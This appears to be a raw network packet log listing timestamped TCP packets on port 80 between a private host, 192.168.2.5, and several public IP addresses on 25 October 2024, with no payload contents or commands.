Oct 25, 2024 11:18:13.740871906 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.740886927 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.740916014 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741008043 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741024971 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741035938 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741046906 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741058111 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741064072 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741069078 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741084099 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741205931 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741277933 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741290092 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741302013 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741313934 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741324902 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741329908 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741336107 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741349936 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741369963 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741370916 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741396904 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741398096 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741411924 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741415024 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741422892 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741435051 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741445065 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741450071 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741456032 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741466045 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741478920 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741488934 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741492033 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741504908 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741514921 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741522074 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741533995 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741545916 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.741846085 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.741971970 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.742014885 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.745101929 CEST	80	52929	104.196.26.65	192.168.2.5
Oct 25, 2024 11:18:13.745179892 CEST	52929	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:13.747323036 CEST	52947	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:13.752872944 CEST	80	52947	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:13.752940893 CEST	52947	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:13.753355026 CEST	52947	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:13.758661985 CEST	80	52947	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:13.773150921 CEST	80	52932	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.773256063 CEST	52932	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.775938034 CEST	52932	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.781316042 CEST	80	52932	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.810129881 CEST	80	52824	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:13.810281992 CEST	52824	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:13.847973108 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.848114014 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.848165035 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.848177910 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.848187923 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.848220110 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.848220110 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.848233938 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.848244905 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.848252058 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.848256111 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.848277092 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.848301888 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.848792076 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.848819017 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.848829031 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.848937988 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.849219084 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.849242926 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.849255085 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.849282980 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.849292994 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.849339008 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.849354982 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.850207090 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.850219011 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.850236893 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.850246906 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.850259066 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.850308895 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.850323915 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851023912 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851037025 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851047993 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851072073 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851100922 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851389885 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851430893 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851440907 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851488113 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851505041 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851516008 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851535082 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851573944 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851610899 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851623058 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851639032 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851666927 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851675034 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851681948 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851686954 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851700068 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851711988 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851712942 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851725101 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851741076 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851753950 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851793051 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851804972 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851815939 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851830006 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851833105 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851856947 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851862907 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851875067 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851885080 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851886988 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851905107 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851912975 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851924896 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851933002 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851939917 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851953983 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851965904 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851986885 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.851988077 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.851999998 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852010012 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852019072 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852021933 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852034092 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852037907 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852057934 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852063894 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852087021 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852112055 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852114916 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852122068 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852133036 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852154970 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852159023 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852169991 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852179050 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852180958 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852197886 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852216959 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852273941 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852286100 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852297068 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852320910 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852336884 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852371931 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852400064 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852417946 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852443933 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852489948 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852514982 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852538109 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852549076 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852556944 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852560043 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852569103 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852571964 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852582932 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852591991 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852598906 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852603912 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852622986 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852639914 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852643013 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852659941 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852680922 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852693081 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852704048 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852713108 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852716923 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852731943 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852762938 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852770090 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852773905 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852797985 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852808952 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852813959 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852833986 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852845907 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852853060 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852857113 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852873087 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852895021 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852905035 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.852906942 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852914095 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852946997 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852957010 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852963924 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852982044 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.852987051 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853020906 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853034973 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853101015 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853125095 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853151083 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853167057 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853205919 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853223085 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853234053 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853245974 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853256941 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853267908 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853280067 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853286028 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853291035 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853298903 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853317022 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853358984 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853638887 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853682995 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853868961 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853879929 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853890896 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853900909 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853912115 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853921890 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853925943 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853935957 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853938103 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853948116 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853959084 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853965998 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.853971004 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.853982925 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854016066 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854038000 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854048967 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854059935 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854084015 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854106903 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854116917 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854118109 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854129076 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854140043 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854154110 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854163885 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854168892 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854176044 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854187012 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854197025 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854197979 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854212046 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854217052 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854224920 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854234934 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854247093 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854250908 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854255915 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854266882 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854273081 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854278088 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854279041 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854289055 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854299068 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854300976 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854302883 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854314089 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854326963 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854326963 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854337931 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854350090 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854360104 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854361057 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854372025 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854376078 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854386091 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854398966 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854402065 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854408979 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.854423046 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854437113 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.854466915 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.861947060 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:13.862304926 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:13.867847919 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:13.867860079 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:13.868005991 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:13.868597031 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:13.870738029 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:13.873938084 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:13.876068115 CEST	80	52949	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:13.876596928 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:13.886795044 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:13.892280102 CEST	80	52949	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:13.926850080 CEST	80	52937	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.926953077 CEST	52937	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.941498995 CEST	52625	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:18:13.942090034 CEST	52950	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:18:13.943366051 CEST	80	52933	217.19.237.54	192.168.2.5
Oct 25, 2024 11:18:13.943463087 CEST	52933	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:18:13.946957111 CEST	80	52625	195.78.66.65	192.168.2.5
Oct 25, 2024 11:18:13.947418928 CEST	80	52950	195.78.66.65	192.168.2.5
Oct 25, 2024 11:18:13.947501898 CEST	52950	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:18:13.958283901 CEST	52950	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:18:13.961026907 CEST	80	52937	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:13.961131096 CEST	52937	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.961316109 CEST	52937	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:13.963663101 CEST	80	52950	195.78.66.65	192.168.2.5
Oct 25, 2024 11:18:13.965085983 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965120077 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965137005 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965148926 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965159893 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965257883 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.965290070 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965291977 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.965331078 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965342999 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965368986 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965380907 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965389013 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.965389967 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965409040 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.965439081 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:13.965643883 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965729952 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965739012 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965749979 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965760946 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:13.965770960 CEST	80	52928	23.227.38.74	192.168.2.5
